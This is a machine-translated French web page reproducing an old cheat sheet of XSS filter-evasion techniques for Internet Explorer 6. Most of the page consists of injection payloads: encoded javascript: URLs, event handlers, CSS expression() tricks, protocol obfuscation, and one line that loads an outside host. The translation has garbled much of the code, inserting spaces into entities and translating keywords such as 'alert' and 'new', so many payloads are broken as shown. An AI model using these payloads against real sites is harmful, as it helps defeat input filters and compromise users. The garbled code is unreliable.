This page has been robot translated, sorry for typos if any. Original content here.

Fonctions de syntaxe HTML

Créateurs: Algol , zFailure - les dernières modifications 13.06.2005

L'une des principales méthodes de protection des sites contre les vulnérabilités XSS consiste à utiliser divers filtres sur les caractères saisis par l'utilisateur. Cet article décrit les fonctionnalités de syntaxe HTML qui vous permettent de contourner ces filtres.

Il convient de noter que les vulnérabilités XSS dépendent du navigateur. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou dans d'autres navigateurs, les exemples peuvent également ne pas fonctionner. Par exemple, le caractère apostrophe inverse (`) est un délimiteur d'attribut uniquement dans IE. D'autres navigateurs, comme Opera par exemple, ne considèrent pas ce symbole comme un limiteur.

  • Délimiteurs d'attributs de balises.
    En plus de l'espace, il est permis d'utiliser les caractères: barre oblique ( / ), tabulation, saut de ligne. Le séparateur peut être omis si l'accessoire précédent est entre guillemets.
     <image / src = "1.png" / alt = "Indice" / border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
     <image
     src = "1.png"
     alt = "indice"
     border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
    
  • Délimiteurs d'attributs de balises
    Les valeurs sont autorisés à être cités (double et simple) également dans les apostrophes, seulement autorisé le général ne limite pas.
     <image src = "" alt = "Mon indice" border = "0">
     <image src = "" alt = 'Mon conseil' border = "0">
     <image src = "" alt = `Mon conseil` border =" 0 ">
     <image src = "" alt = Astuce border = "0">
    
  • Encodages de caractères
    Le déchiffrement des caractères dans un script se produit avant son exécution:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 116 & # 112 & # 112 & # 116 & # 56 & # 97 & # 108 & # 101 & # 114 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 41 & # 41>
     <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (uniquement dans l'attribut href )
    
    
  • Limiteurs de littéraux de caractères dans les scripts
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>>
    
  • Certains contournement du filtrage des caractères
      <img src = javascript: i = nouveau / ** / Image (); i.src = 'http: //bla.bla'> (remplace l'espace par / ** /)
    
    
  • Façons d'exécuter des scripts
    Plusieurs manières d'exécuter automatiquement des scripts:
     <script> alerte ('ok') </ script> <script src = 1.js> </ script> <body onLoad = alert ('ok')> <meta http-equiv = Rafraîchir le contenu = 0; url = javascript : alert ('ok')> <image src = 1.png onload = alert ('ok')> <image src = javascript: alert ('ok')> <image src = "" onerror = alert ('ok' )> <hr style = background: url (javascript: alert ('ok'))> <span style = haut: expression (alert ('ok'))> </ span> <span sss = "alert (); ceci .sss = null "style = top: expression (eval (this.sss));> </ span> (ne fonctionne qu'une fois) <style type =" text / css "> @ import url (javascript: alert ('ok ')); </ style> <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <nom de paramètre = url valeur = javascript: alerte (' ok ')> </ objet> <embed src = javascript: alert ('ok'); this.avi> <embed src = javascript: alert ('ok'); this.wav> <iframe src = javascript: alert ('ok')> (uniquement dans IE) <a href = javascript: alert (% 22ok% 22)> cliquez sur moi </a> (uniquement en cliquant sur le lien) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> cliquer ici </a> ( h
      Commencez uniquement lorsque vous cliquez sur le lien) <br SIZE="&{alert('XSS')}"> (uniquement Netscape 4.x)
     
  • Différents protocoles de script, manières de les écrire
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (espaces jusqu'au mot javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "javascript
     : alert () "> (avant les deux points - caractère de tabulation)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (à l'intérieur du mot javascript - le caractère de tabulation est aussi un retour à la ligne)
     
    
  • Inserts de script dans le style
    Les opérateurs de script dans l'attribut style doivent être divisés par " \; ".
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Tags spéciaux.
      <image src = "1.png" alt = "" border = "0"> (la balise img a également la même image) <texte en clair> (tout ce qui bouge après cette balise sera perçu comme du texte brut - pas HTML) <textarea> (tout ce qui commence à bouger après cette balise sera perçu comme du texte brut - pas du tout HTML) <xml> (tout ce qui commence à bouger après que cette balise ne sera pas affichée)
    
    
  • Tableau des codes fréquemment utilisés:

    Symbole Codage décimal 16ème encodage * Encodage de caractères Encodage d'URL
    " & # 34 & # x22; & quot % 22
    ' & # 39 & # x27; % 27
    ` & # 96 & # x60; % 60
    <espace> & # 32 & # x20; +
    <onglet> & # 9 & # x09; % 09
    <retour chariot> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <trait d'union court> & # 173 & # xAD; & timide % AD
    Et & # 38 & # x26; & amp % 26

    * -dans certains cas, le point-virgule peut être omis (si le caractère est à la fin de la ligne, ou si plusieurs caractères de cet encodage sont alignés).

    Voir similaire: http://ha.ckers.org/xss.html
  • Il ne serait pas superflu que vos amis découvrent cette information, partagez l'article avec eux!

    Développer / Réduire Développer / Réduire la fenêtre de commentaires

    Commentaires

    En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans des conditions de liberté d'expression et d'anonymat fournies par Internet change non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    Maintenant tout le monde peut publier des articles.
    Essayez-le d'abord!
    Vous aimez ça? Abonnez-vous aux flux RSS,
    être le premier à recevoir des informations
    à propos de tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: